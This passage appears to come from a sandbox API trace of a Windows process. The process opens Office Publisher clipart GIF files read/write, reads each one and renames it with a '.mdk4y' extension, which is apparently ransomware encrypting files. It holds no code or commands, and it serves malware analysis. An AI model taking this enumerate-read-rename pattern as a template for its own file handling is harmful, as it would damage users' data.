office\\clipart\\publisher\\backgrounds\\j0143746.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825096500000) returned 1 [0175.735] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x595, lpOverlapped=0x0) returned 1 [0175.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825097700000) returned 1 [0175.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825097700000) returned 1 [0175.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.mdk4y")) returned 1 [0175.748] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.748] AreFileApisANSI () returned 1 [0175.748] GetACP () returned 0x4e4 [0175.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143748.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143748.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.749] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825098000000) returned 1 [0175.750] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11d1, lpOverlapped=0x0) returned 1 [0175.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825098600000) returned 1 [0175.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825098600000) returned 1 [0175.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.mdk4y")) returned 1 [0175.758] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.758] AreFileApisANSI () returned 1 [0175.758] GetACP () returned 0x4e4 [0175.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143749.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143749.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.758] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825098900000) returned 1 [0175.759] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1323, lpOverlapped=0x0) returned 1 [0175.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825099800000) returned 1 [0175.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825099800000) returned 1 [0175.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.mdk4y")) returned 1 [0175.770] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.770] AreFileApisANSI () returned 1 [0175.770] GetACP () returned 0x4e4 [0175.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143750.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143750.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.770] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825100100000) returned 1 [0175.771] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x43e, lpOverlapped=0x0) returned 1 [0175.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825100500000) returned 1 [0175.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825100500000) returned 1 [0175.776] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.mdk4y")) returned 1 [0175.777] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.777] AreFileApisANSI () returned 1 [0175.777] GetACP () returned 0x4e4 [0175.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143752.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143752.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825100700000) returned 1 [0175.777] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x412, lpOverlapped=0x0) returned 1 [0175.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825101400000) returned 1 [0175.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825101400000) returned 1 [0175.785] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.mdk4y")) returned 1 [0175.785] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.785] AreFileApisANSI () returned 1 [0175.786] GetACP () returned 0x4e4 [0175.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143753.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143753.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825101600000) returned 1 [0175.786] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b7f, lpOverlapped=0x0) returned 1 [0175.798] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825102800000) returned 1 [0175.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825102900000) returned 1 [0175.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.mdk4y")) returned 1 [0175.833] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.833] AreFileApisANSI () returned 1 [0175.833] GetACP () returned 0x4e4 [0175.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143754.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143754.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.833] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825106300000) returned 1 [0175.833] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6ad, lpOverlapped=0x0) returned 1 [0175.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825107200000) returned 1 [0175.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825107200000) returned 1 [0175.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.mdk4y")) returned 1 [0175.843] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.843] AreFileApisANSI () returned 1 [0175.844] GetACP () returned 0x4e4 [0175.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0143758.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0143758.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825107400000) returned 1 [0175.844] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x69f, lpOverlapped=0x0) returned 1 [0175.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825108400000) returned 1 [0175.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825108400000) returned 1 [0175.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.mdk4y")) returned 1 [0175.856] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.856] AreFileApisANSI () returned 1 [0175.856] GetACP () returned 0x4e4 [0175.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00516L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00516L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825108600000) returned 1 [0175.856] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x124a, lpOverlapped=0x0) returned 1 [0175.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825109200000) returned 1 [0175.862] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825109200000) returned 1 [0175.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.mdk4y")) returned 1 [0175.863] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.863] AreFileApisANSI () returned 1 [0175.863] GetACP () returned 0x4e4 [0175.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00531L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00531L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.863] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825109400000) returned 1 [0175.864] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2017, lpOverlapped=0x0) returned 1 [0175.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825110500000) returned 1 [0175.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825110500000) returned 1 [0175.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.mdk4y")) returned 1 [0175.877] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.877] AreFileApisANSI () returned 1 [0175.877] GetACP () returned 0x4e4 [0175.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00673L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00673L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825110800000) returned 1 [0175.878] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20ee, lpOverlapped=0x0) returned 1 [0175.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825111600000) returned 1 [0175.886] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825111600000) returned 1 [0175.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.mdk4y")) returned 1 [0175.887] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.887] AreFileApisANSI () returned 1 [0175.887] GetACP () returned 0x4e4 [0175.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00703L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00703L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.887] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825111800000) returned 1 [0175.888] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2026, lpOverlapped=0x0) returned 1 [0175.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825112400000) returned 1 [0175.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825112400000) returned 1 [0175.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.mdk4y")) returned 1 [0175.896] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.896] AreFileApisANSI () returned 1 [0175.896] GetACP () returned 0x4e4 [0175.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00760L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00760L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.896] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825112600000) returned 1 [0175.896] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2313, lpOverlapped=0x0) returned 1 [0175.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825113800000) returned 1 [0175.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825113800000) returned 1 [0175.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.mdk4y")) returned 1 [0175.909] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.909] AreFileApisANSI () returned 1 [0175.909] GetACP () returned 0x4e4 [0175.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB00780L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WB00780L.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0175.909] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0175.910] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825114000000) returned 1 [0175.910] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f8f, lpOverlapped=0x0) returned 1 [0175.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825114800000) returned 1 [0175.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825114800000) returned 1 [0175.919] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.mdk4y")) returned 1 [0175.920] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0175.920] AreFileApisANSI () returned 1 [0175.920] GetACP () returned 0x4e4 [0175.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WB01741L.GIF", cchWideChar=12, lpMultiByteStr=0x6ac39c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 